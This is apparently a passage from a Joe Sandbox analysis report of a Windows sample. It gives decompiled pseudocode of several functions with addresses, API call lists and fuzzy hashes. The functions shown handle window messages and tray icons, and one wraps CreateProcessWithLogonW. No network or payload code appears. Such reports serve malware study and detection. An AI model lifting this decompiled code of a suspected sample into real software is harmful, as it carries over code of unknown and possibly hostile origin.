                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Rect$BeepClientMessageScreenWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1352109105-0
                                                                                                                                                                            • Opcode ID: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                                                                                            • Instruction ID: 11ad13a84751b34e4f8a983c71a6a29643224e7bbeba0240db3aabd8edeb2108
                                                                                                                                                                            • Opcode Fuzzy Hash: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                                                                                            • Instruction Fuzzy Hash: E64192B5A042418FE710DF18D884AABB7E5FFC9311F18866FE8518B360D734AC85CBA5
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00449063 Relevance: 6.1, APIs: 4, Instructions: 108windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 59%
                                                                                                                                                                            			E00449063(void* __eflags, char _a4, long _a8) {
				signed int _v4;
				signed int _t30;
				signed char _t34;
				intOrPtr _t37;
				struct HWND__* _t43;
				struct HWND__** _t44;

				if(E0044213B(0x4a83d8, _a4,  &_a4,  &_v4) == 0) {
					L16:
					return 0;
				} else {
					_t37 =  *0x4a844c; // 0x2f019d0
					_t44 =  *( *(_t37 + _v4 * 4));
					_t43 =  *_t44;
					_t34 = _t44[0x22];
					E00435BC8( &_a8);
					_t30 = _t34 & 0x000000ff;
					if(_t30 > 0x1b) {
						goto L16;
					} else {
						_t12 = _t30 + 0x4491af; // 0x0
						switch( *((intOrPtr*)(( *_t12 & 0x000000ff) * 4 +  &M00449193))) {
							case 0:
								L8:
								 *((intOrPtr*)(__esi + 0x48)) = _a8;
								__eax = E0043401C(__ebp, __esi, 1);
								goto L9;
							case 1:
								_a8 = SendMessageW(__edi, 0x409, 0, _a8);
								goto L9;
							case 2:
								__eax = SendMessageW(__edi, 0x111e, 0, _a8);
								goto L9;
							case 3:
								__eax =  *(__esi + 0x30);
								 *((intOrPtr*)(__esi + 0x48)) = _a8;
								__eax = InvalidateRect( *(__esi + 0x30), 0, 1);
								goto L9;
							case 4:
								_t31 = SendMessageW(_t43, 0x1024, 0, _a8);
								L9:
								if( *0x4972c4 == 0 || _t34 != 8 && _t34 != 4 && _t34 != 0x1a && _t34 != 0x19) {
									return 1;
								} else {
									return _t31 | 0xffffffff;
								}
								goto L17;
							case 5:
								_push(0xfffffff0);
								_push(__edi);
								__eax =  *0x482718();
								_push(__eax);
								_push(0xfffffff0);
								_push(__edi);
								__eax =  *0x4824d8();
								goto L8;
							case 6:
								goto L16;
						}
					}
				}
				L17:
			}









                                                                                                                                                                            0x00449083
                                                                                                                                                                            0x0044918a
                                                                                                                                                                            0x0044918e
                                                                                                                                                                            0x00449089
                                                                                                                                                                            0x0044909a
                                                                                                                                                                            0x004490a5
                                                                                                                                                                            0x004490a7
                                                                                                                                                                            0x004490a9
                                                                                                                                                                            0x004490b4
                                                                                                                                                                            0x004490b9
                                                                                                                                                                            0x004490c2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004490c8
                                                                                                                                                                            0x004490c8
                                                                                                                                                                            0x004490cf
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449142
                                                                                                                                                                            0x0044914a
                                                                                                                                                                            0x0044914d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004490f8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044910d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449115
                                                                                                                                                                            0x00449121
                                                                                                                                                                            0x00449124
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004490e3
                                                                                                                                                                            0x00449152
                                                                                                                                                                            0x00449159
                                                                                                                                                                            0x00449184
                                                                                                                                                                            0x0044916f
                                                                                                                                                                            0x00449177
                                                                                                                                                                            0x00449177
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044912c
                                                                                                                                                                            0x0044912e
                                                                                                                                                                            0x0044912f
                                                                                                                                                                            0x00449138
                                                                                                                                                                            0x00449139
                                                                                                                                                                            0x0044913b
                                                                                                                                                                            0x0044913c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004490cf
                                                                                                                                                                            0x004490c2
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • SendMessageW.USER32(00000000,00001024,00000000,?), ref: 004490E3
                                                                                                                                                                            • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004490F8
                                                                                                                                                                            • SendMessageW.USER32(00000000,0000111E,00000000,?), ref: 0044910D
                                                                                                                                                                            • InvalidateRect.USER32(?,00000000,00000001), ref: 00449124
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$InvalidateRect
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2778011698-0
                                                                                                                                                                            • Opcode ID: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                                                                                            • Instruction ID: 8b80d2acd15126bdfc8b54909556444574c0e56a9806921f1e0b477f33817628
                                                                                                                                                                            • Opcode Fuzzy Hash: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                                                                                            • Instruction Fuzzy Hash: F231B476244202AFF224DF04DC89FBBB7A9F785321F14492EF291973D0CA75AC469729
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004613E0 Relevance: 6.1, APIs: 4, Instructions: 90windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E004613E0(void* __edx, void* __fp0, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				struct HWND__* _v0;
				char _v36;
				void* __ebx;
				void* __edi;
				void* _t11;
				void* _t30;
				int _t38;
				void* _t40;
				void* _t46;

				_t46 = __fp0;
				_t40 =  &_v36;
				_t11 = E00438C85(_a4);
				_t35 = _a8;
				_t30 = _t11;
				E004021E0(_a8, _t30, __edx, 0x4848e8);
				_t38 = 0;
				if(_v0 != 0) {
					if(_t30 <= 0) {
						goto L13;
					} else {
						do {
							if(SendMessageW(_v0, 0x102c, _t38, 2) != 0) {
								E00413308(_t38,  &_v36, 0xa);
								_t40 = _t40 + 0xc;
								if(E00437BFD(_t35) == 0) {
									E0040D330(_a12, _t30, "|", _t46);
								}
								E0040D330(_a12, _t30,  &_v36, _t46);
								_t35 = _a12;
							}
							_t38 = _t38 + 1;
						} while (_t38 < _t30);
						return 1;
					}
				} else {
					if(_t30 <= 0) {
						L13:
						return 1;
					} else {
						while(SendMessageW(_v0, 0x102c, _t38, 2) == 0) {
							_t38 = _t38 + 1;
							if(_t38 < _t30) {
								continue;
							} else {
								return 1;
							}
							goto L14;
						}
						E00413308(_t38,  &_v36, 0xa);
						E004021E0(_t35, _t30,  &_v36,  &_v36);
						goto L13;
					}
				}
				L14:
			}












                                                                                                                                                                            0x004613e0
                                                                                                                                                                            0x004613e0
                                                                                                                                                                            0x004613ec
                                                                                                                                                                            0x004613f1
                                                                                                                                                                            0x004613f5
                                                                                                                                                                            0x004613fe
                                                                                                                                                                            0x00461403
                                                                                                                                                                            0x0046140a
                                                                                                                                                                            0x0046143d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00461443
                                                                                                                                                                            0x00461443
                                                                                                                                                                            0x00461457
                                                                                                                                                                            0x00461461
                                                                                                                                                                            0x00461466
                                                                                                                                                                            0x00461471
                                                                                                                                                                            0x0046147c
                                                                                                                                                                            0x0046147c
                                                                                                                                                                            0x00461489
                                                                                                                                                                            0x0046148e
                                                                                                                                                                            0x0046148e
                                                                                                                                                                            0x00461492
                                                                                                                                                                            0x00461493
                                                                                                                                                                            0x004614a0
                                                                                                                                                                            0x004614a0
                                                                                                                                                                            0x0046140c
                                                                                                                                                                            0x0046140e
                                                                                                                                                                            0x004614c2
                                                                                                                                                                            0x004614c8
                                                                                                                                                                            0x00461414
                                                                                                                                                                            0x00461414
                                                                                                                                                                            0x0046142a
                                                                                                                                                                            0x0046142d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00461432
                                                                                                                                                                            0x00461438
                                                                                                                                                                            0x00461438
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046142d
                                                                                                                                                                            0x004614ab
                                                                                                                                                                            0x004614ba
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004614ba
                                                                                                                                                                            0x0046140e
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00438C85: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00438C95
                                                                                                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                            • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 00461420
                                                                                                                                                                            • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 0046144F
                                                                                                                                                                            • __itow.LIBCMT ref: 00461461
                                                                                                                                                                            • __itow.LIBCMT ref: 004614AB
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$__itow$_wcslen
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2875217250-0
                                                                                                                                                                            • Opcode ID: 82b5a91de389f3ed99ce10dfea336eb0a106409adacd96f57f902ff0f5c50cc9
                                                                                                                                                                            • Instruction ID: e79f257049278b8cb2759ef4fb2c338f5c267666469b61911c1ede6aa8d1a802
                                                                                                                                                                            • Opcode Fuzzy Hash: 82b5a91de389f3ed99ce10dfea336eb0a106409adacd96f57f902ff0f5c50cc9
                                                                                                                                                                            • Instruction Fuzzy Hash: A3216D7270031067D200BE169C86FAFB794EB94714F48043FFE00AB141EA69E94687EB
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040E1E0 Relevance: 6.1, APIs: 4, Instructions: 82windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 55%
                                                                                                                                                                            			E0040E1E0(void* __esi, void* __eflags, void* __fp0) {
				struct HICON__* _v920;
				intOrPtr _v924;
				intOrPtr _v928;
				char _v932;
				struct HICON__* _v936;
				char _v940;
				void* __ebx;
				void* __edi;
				struct HICON__* _t31;
				struct HICON__* _t33;
				struct HICON__* _t34;
				intOrPtr _t41;
				intOrPtr _t47;
				intOrPtr _t48;
				void* _t50;
				char* _t51;
				void* _t53;
				void* _t65;

				_t65 = __fp0;
				_t53 = __esi;
				_push(_t50);
				_v940 = 0x3a8;
				E004131F0(_t50,  &_v936, 0, 0x3a4);
				if( *((intOrPtr*)(__esi + 0x188)) == 0) {
					_t48 =  *0x4a7cec; // 0x40343
					 *((intOrPtr*)(__esi + 0x188)) = _t48;
				}
				if( *((intOrPtr*)(_t53 + 0x194)) == 0) {
					_t41 =  *0x4a7cf0; // 0x90345
					 *((intOrPtr*)(_t53 + 0x194)) = _t41;
					 *((intOrPtr*)(_t53 + 0x198)) = _t41;
				}
				if( *((intOrPtr*)(_t53 + 0x1a0)) == 0) {
					_t47 =  *0x4a7cf4; // 0x9025b
					 *((intOrPtr*)(_t53 + 0x1a0)) = _t47;
				}
				_t10 = _t53 + 0x18c; // 0x0
				_t31 =  *_t10;
				_t11 = _t53 + 0x190; // 0x4a8648
				_t51 = _t11;
				if(_t31 != 0) {
					if( *_t51 != 0) {
						DestroyCursor(_t31);
					}
				}
				_t49 =  *0x4972c0;
				 *(_t53 + 0x18c) = 0;
				 *_t51 = 0;
				_v936 =  *0x4972c0;
				_v932 = 1;
				_v928 = 3;
				_v924 = 0x401;
				_v920 = 0;
				if( *((intOrPtr*)(_t53 + 0x40)) != 0) {
					_t23 = _t53 + 0x3c; // 0x2f01a00
					_t24 = _t53 + 0x10; // 0xffffffff
					_t33 = E0043737D(_t49, _t53,  *_t24,  *_t23, _t51);
					_v936 = _t33;
					 *(_t53 + 0x18c) = _t33;
					if( *((intOrPtr*)(_t53 + 0x40)) == 0) {
						goto L8;
					}
					if(_t33 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					L8:
					_t19 = _t53 + 0x188; // 0x0
					_t34 =  *_t19;
					_v920 = _t34;
					 *(_t53 + 0x18c) = _t34;
					L9:
					if( *0x497292 == 1) {
						 *0x48248c(1,  &_v940);
					} else {
						 *0x48248c(0,  &_v940);
						 *0x497292 = 1;
					}
					return E00401E70(_t53, 1, _t65);
				}
			}





















                                                                                                                                                                            0x0040e1e0
                                                                                                                                                                            0x0040e1e0
                                                                                                                                                                            0x0040e1ed
                                                                                                                                                                            0x0040e1fa
                                                                                                                                                                            0x0040e202
                                                                                                                                                                            0x0040e211
                                                                                                                                                                            0x0040e213
                                                                                                                                                                            0x0040e219
                                                                                                                                                                            0x0040e219
                                                                                                                                                                            0x0040e226
                                                                                                                                                                            0x0040e228
                                                                                                                                                                            0x0040e22d
                                                                                                                                                                            0x0040e233
                                                                                                                                                                            0x0040e233
                                                                                                                                                                            0x0040e240
                                                                                                                                                                            0x0040e242
                                                                                                                                                                            0x0040e248
                                                                                                                                                                            0x0040e248
                                                                                                                                                                            0x0040e24e
                                                                                                                                                                            0x0040e24e
                                                                                                                                                                            0x0040e254
                                                                                                                                                                            0x0040e254
                                                                                                                                                                            0x0040e25c
                                                                                                                                                                            0x0042aa0e
                                                                                                                                                                            0x0042aa15
                                                                                                                                                                            0x0042aa15
                                                                                                                                                                            0x0042aa0e
                                                                                                                                                                            0x0040e262
                                                                                                                                                                            0x0040e268
                                                                                                                                                                            0x0040e272
                                                                                                                                                                            0x0040e27e
                                                                                                                                                                            0x0040e282
                                                                                                                                                                            0x0040e286
                                                                                                                                                                            0x0040e28e
                                                                                                                                                                            0x0040e296
                                                                                                                                                                            0x0040e29e
                                                                                                                                                                            0x0042aa20
                                                                                                                                                                            0x0042aa23
                                                                                                                                                                            0x0042aa2a
                                                                                                                                                                            0x0042aa33
                                                                                                                                                                            0x0042aa37
                                                                                                                                                                            0x0042aa3d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042aa45
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040e2a4
                                                                                                                                                                            0x0040e2a4
                                                                                                                                                                            0x0040e2a4
                                                                                                                                                                            0x0040e2a4
                                                                                                                                                                            0x0040e2aa
                                                                                                                                                                            0x0040e2ae
                                                                                                                                                                            0x0040e2b4
                                                                                                                                                                            0x0040e2ba
                                                                                                                                                                            0x0042aa56
                                                                                                                                                                            0x0040e2c0
                                                                                                                                                                            0x0040e2c7
                                                                                                                                                                            0x0040e2cd
                                                                                                                                                                            0x0040e2cd
                                                                                                                                                                            0x0040e2df
                                                                                                                                                                            0x0040e2df

                                                                                                                                                                            APIs
                                                                                                                                                                            • _memset.LIBCMT ref: 0040E202
                                                                                                                                                                            • Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: IconNotifyShell__memset
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 928536360-0
                                                                                                                                                                            • Opcode ID: 28e982a20f1f395b00174df5a3410fef7b9b47565da835109e87ded28aa3a174
                                                                                                                                                                            • Instruction ID: 78b4575d80434d0c6f25efcc2626706039a9295b791a6152a92a9d33d5007447
                                                                                                                                                                            • Opcode Fuzzy Hash: 28e982a20f1f395b00174df5a3410fef7b9b47565da835109e87ded28aa3a174
                                                                                                                                                                            • Instruction Fuzzy Hash: 93318F70608701DFE320CF25D845B97BBE8BB55304F00886EE99A93390E778A958CF5A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00439326 Relevance: 6.1, APIs: 4, Instructions: 72processCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 37%
                                                                                                                                                                            			E00439326(intOrPtr _a4, intOrPtr _a8, void* _a12, char _a16, intOrPtr _a20, void* _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				intOrPtr _v28;
				signed char _t27;
				intOrPtr _t31;
				void* _t37;
				signed int _t40;
				void* _t50;
				signed int _t51;
				void* _t53;

				_t27 = _a16;
				_t51 = _a24;
				_t50 = 0;
				_a16 = 0;
				if((_t27 & 0x00000001) == 0) {
					if((_t27 & 0x00000002) != 0) {
						_t50 = 2;
					}
				} else {
					_t50 = 1;
				}
				_t40 = 0;
				if((_t27 & 0x00000004) == 0) {
					L6:
					_t40 = _t40 & 0xffffff00 |  *0x482058(_a4, _a8, _a12, _t50, 0, _a20, _t51 | 0x00000400, _a16, _a28, _a32, _a36) != 0x00000000;
					goto L7;
				} else {
					_a24 = 0;
					OpenProcessToken(GetCurrentProcess(), 0xa,  &_a24);
					_t37 =  *0x482720( &_a16, _a24, 1, _t53);
					CloseHandle(_a12);
					if(_t37 == 0) {
						L7:
						_t31 = _v28;
						if(_t31 != 0) {
							 *0x482724(_t31);
						}
						return _t40;
					}
					goto L6;
				}
			}











                                                                                                                                                                            0x00439326
                                                                                                                                                                            0x0043932c
                                                                                                                                                                            0x00439333
                                                                                                                                                                            0x00439335
                                                                                                                                                                            0x0043933b
                                                                                                                                                                            0x00439344
                                                                                                                                                                            0x00439346
                                                                                                                                                                            0x00439346
                                                                                                                                                                            0x0043933d
                                                                                                                                                                            0x0043933d
                                                                                                                                                                            0x0043933d
                                                                                                                                                                            0x0043934b
                                                                                                                                                                            0x0043934f
                                                                                                                                                                            0x0043938e
                                                                                                                                                                            0x004393c8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00439351
                                                                                                                                                                            0x00439359
                                                                                                                                                                            0x00439364
                                                                                                                                                                            0x00439376
                                                                                                                                                                            0x00439383
                                                                                                                                                                            0x0043938c
                                                                                                                                                                            0x004393cb
                                                                                                                                                                            0x004393cb
                                                                                                                                                                            0x004393d1
                                                                                                                                                                            0x004393d4
                                                                                                                                                                            0x004393d4
                                                                                                                                                                            0x004393df
                                                                                                                                                                            0x004393df
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043938c

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetCurrentProcess.KERNEL32(0000000A,?,?,?,?,?,00446540,?,?,?,?,?,?,?,?,?), ref: 0043935D
                                                                                                                                                                            • OpenProcessToken.ADVAPI32(00000000,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439364
                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439383
                                                                                                                                                                            • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,?,?), ref: 004393C0
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process$CloseCreateCurrentHandleLogonOpenTokenWith
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2621361867-0
                                                                                                                                                                            • Opcode ID: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                                                                                            • Instruction ID: 8c652321442b38080740e7d333ba663a52d3460857ef2618669649d87ea194c0
                                                                                                                                                                            • Opcode Fuzzy Hash: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                                                                                            • Instruction Fuzzy Hash: 7B2150B2208300ABD314CB65D854EABB7EDEBCD754F084E1DF989A3250C7B4E901CB25
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00438D4E Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00438D4E(void* _a4, intOrPtr* _a8) {
				void* _v4;
				int _t14;
				long _t25;
				struct HWND__** _t34;
				int _t35;

				_t34 = _a4;
				SendMessageW( *_t34, 0xb0,  &_a4,  &_v4);
				_t14 = _a4;
				_t35 = _t14;
				_t25 = SendMessageW( *_t34, 0xc9, _t14, 0);
				if(_t25 < 1) {
					 *_a8 = _a4 + 1;
					return 1;
				} else {
					if(_t25 == SendMessageW( *_t34, 0xc9, _a4, 0)) {
						do {
							_a4 = _a4 - 1;
						} while (_t25 == SendMessageW( *_t34, 0xc9, _a4 - 1, 0));
					}
					 *_a8 = _t35 - _a4;
					return 1;
				}
			}








                                                                                                                                                                            0x00438d52
                                                                                                                                                                            0x00438d6f
                                                                                                                                                                            0x00438d71
                                                                                                                                                                            0x00438d78
                                                                                                                                                                            0x00438d84
                                                                                                                                                                            0x00438d89
                                                                                                                                                                            0x00438dda
                                                                                                                                                                            0x00438de0
                                                                                                                                                                            0x00438d8b
                                                                                                                                                                            0x00438d9e
                                                                                                                                                                            0x00438da0
                                                                                                                                                                            0x00438da8
                                                                                                                                                                            0x00438db6
                                                                                                                                                                            0x00438da0
                                                                                                                                                                            0x00438dc4
                                                                                                                                                                            0x00438dcb
                                                                                                                                                                            0x00438dcb

                                                                                                                                                                            APIs
                                                                                                                                                                            • SendMessageW.USER32(?,000000B0,?,?), ref: 00438D6F
                                                                                                                                                                            • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D82
                                                                                                                                                                            • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D9A
                                                                                                                                                                            • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438DB4
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3850602802-0
                                                                                                                                                                            • Opcode ID: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                                                                                            • Instruction ID: 707762f1bc06eebb59e9357f9c77b20c0e090dcf7cedc03b298b4f863176c0ea
                                                                                                                                                                            • Opcode Fuzzy Hash: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                                                                                            • Instruction Fuzzy Hash: 77113AB6204305AFD210EF58DC84F6BF7E8EBE8750F20491EF580D7290D6B1A8468BA1
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043362D Relevance: 6.1, APIs: 4, Instructions: 54windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0043362D(struct HWND__** _a4, long _a8, WCHAR* _a12, WCHAR* _a16, signed int _a20, int _a24, int _a28, int _a32, int _a36, struct HMENU__* _a40, char _a44) {
